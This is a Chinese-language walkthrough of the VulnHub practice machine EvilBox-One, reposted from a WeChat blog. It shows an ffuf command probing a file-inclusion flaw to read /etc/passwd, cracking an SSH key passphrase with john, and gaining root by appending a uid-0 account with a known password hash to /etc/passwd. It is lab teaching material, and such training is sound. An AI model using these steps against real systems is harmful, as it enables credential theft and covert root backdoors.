VulnHub实战靶场:EvilBox-One

admin 2023年6月28日07:28:46评论18 views字数 2259阅读7分31秒阅读模式

一、环境搭建

  • 靶场下载地址:https://download.vulnhub.com/evilbox/EvilBoxOne.ova

  • 下载之后,使用 VM导入靶场环境

  • 将靶场的网卡模式设置为桥接模式,启动就行

靶场问题解决办法:

打开靶场是这样子的,无法获取ip

VulnHub实战靶场:EvilBox-One

我们进入配置,选择第二个进入

VulnHub实战靶场:EvilBox-One

然后在这个界面按e

VulnHub实战靶场:EvilBox-One

然后进入这个界面,找到这个地方进行修改

VulnHub实战靶场:EvilBox-One

VulnHub实战靶场:EvilBox-One

然后按ctel+x进入这个模式

VulnHub实战靶场:EvilBox-One

输入ip a 查看网卡

VulnHub实战靶场:EvilBox-One

然后进入这个下面,我的是vi /etc/network/interfaces

vi /etc/network/interfaces

或者

vi /etc/netplan/00-installer-config.yaml

 

哪个文件存在就修改哪个配置文件,不同系统配置文件不同(存在的话可以输入一部分table键自动补全路径)

VulnHub实战靶场:EvilBox-One

然后这里是改成我们对应的网卡名就行

VulnHub实战靶场:EvilBox-One

然后重启他还是没有ip,只是没有显示,我们用可以通网的kali扫一下网段就出来了

VulnHub实战靶场:EvilBox-One

VulnHub实战靶场:EvilBox-One

直接可以访问目标

VulnHub实战靶场:EvilBox-One

参考链接:

https://blog.csdn.net/kui576/article/details/126931200  #vi命令

https://blog.csdn.net/weixin_45682839/article/details/126670210  #ip无法显示问题

二、信息收集

端口扫描:

VulnHub实战靶场:EvilBox-One

ssh爆破:

VulnHub实战靶场:EvilBox-One

配置信息:

VulnHub实战靶场:EvilBox-One

目录扫描:

VulnHub实战靶场:EvilBox-One

三、漏洞利用

经过了简单的信息收集,我们没有发现可以利用的点,但是经过对此的尝试并且切换扫描器扫描,发现还有一个文件存在evil.php

VulnHub实战靶场:EvilBox-One

一直没找到漏洞,只有一个evil.php文件,这个时候就想,会不会存在包含的漏洞,毕竟一直没找到其他漏洞,那这可以尝试一下,我们这里用到的工具是ffuf工具,得到command

apt-get install ffuf  #安装工具

https://github.com/ffuf/ffuf #下载地址

格式:ffuf -u 目标地址/FUZZ -w 字典

ffuf -c -r -u 'http://192.168.0.101/secret/evil.php?FUZZ=/etc/passwd' -w /root/Desktop/SecLists-master/Discovery/Web-Content/common.txt -fs 0

VulnHub实战靶场:EvilBox-One

我们看看是存在文件包含漏洞的

VulnHub实战靶场:EvilBox-One

我们可以看到一个root用户

VulnHub实战靶场:EvilBox-One

那么我们可以找一下ssh公钥,默认情况下,当你把一个客户端用户的公钥放到目标服务器上时,那么在目标服务器的“ssh”目录下就会有一个“authorized_keys”文件,这个文件会包含这个用户的公钥文件。(这个文件位置和文件名是默认的)

VulnHub实战靶场:EvilBox-One

当存在/.ssh/authorized_keys时,默认情况下,私钥id_rsa应该在/.ssh/id_rsa,因为在生成公私钥对的时候,它们默认都是在.ssh目录下的,而生成的私钥名称默认就是id_rsa

一般用户的 .ssh 目录下会存在三个文件:

id_rsa : 私钥。

authorized_keys : 认证关键字文件。

id_rsa.pub : 公钥

VulnHub实战靶场:EvilBox-One

我们知道目标开启了22端口,那我们既然也有公私钥,我们可以查看一下ssh支持什么认证方式,可以看到是支持密码登录和公钥登录的

ssh [email protected].0.101 -v

VulnHub实战靶场:EvilBox-One

那么我们来创建私钥,先打开id_rsa把私钥放进去,然后加入权限运行id_rsa文件

vim id_rsa

Chmod 600 id_rsa #加权限

VulnHub实战靶场:EvilBox-One

尝试登录失败,发现还需要密码,出现这个情况是因为我们生成公钥的时候又给私钥增加了一个密码,意味着需要把原来的私钥密码解密出来

ssh [email protected]1 -i id_rsa

VulnHub实战靶场:EvilBox-One

我们这里用到一个工具john,这个工具是可以爆破私钥密码的,使用 john 脚本把私钥转换成 john 可识别的 ssh 密钥文件,会生成hash文件

/usr/share/john/ssh2john.py id_rsa > hash

VulnHub实战靶场:EvilBox-One

然后进行爆破,使用john自带的字典爆破,得到明文unicorn

john hash --wordlist=/usr/share/wordlists/rockyou.txt

VulnHub实战靶场:EvilBox-One

得到明文之后我们不能直接登录,因为没有权限,我们还是需要用到我们的私钥id_rsa的文件来登录,成功登录,得到flag

ssh [email protected]1 -i id_rsa

VulnHub实战靶场:EvilBox-One

VulnHub实战靶场:EvilBox-One

四、提权

我这里直接脚本查找提权,把脚本下载到目标/tmp目录上

https://github.com/carlospolop/PEASS-ng

VulnHub实战靶场:EvilBox-One

然后找到可写文件

VulnHub实战靶场:EvilBox-One

既然可以写文件,那么我们用到openssl就脚本写入一个密码

openssl passwd -1 -salt banxain

VulnHub实战靶场:EvilBox-One

写入到 /etc/passwd

echo 'banxian:$1$banxain$Xfxmfw0I4dXa3HzhKnhv//:0:0::/root:/bin/bash' >> /etc/passwd

VulnHub实战靶场:EvilBox-One

然后我们切换用户banxian发现切换不进去

VulnHub实战靶场:EvilBox-One

还有一种办法,既然写不进去,那么我们可以直接修改passwd文件,我们先生成一个密码

openssl passwd -1 #-1一种加密方式

VulnHub实战靶场:EvilBox-One

然后写入passwd

Vi /etc/passwd

banxian:$1$ZUIVca32$xNJLJcD7a7Z74kgjDOe3q.:0:0::/root:/bin/bash

VulnHub实战靶场:EvilBox-One

成功登录root用户

VulnHub实战靶场:EvilBox-One

打完结束收工

原文始发于微信公众号(半仙想变强):VulnHub实战靶场:EvilBox-One

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月28日07:28:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   VulnHub实战靶场:EvilBox-Onehttps://cn-sec.com/archives/1839398.html

发表评论

匿名网友 填写信息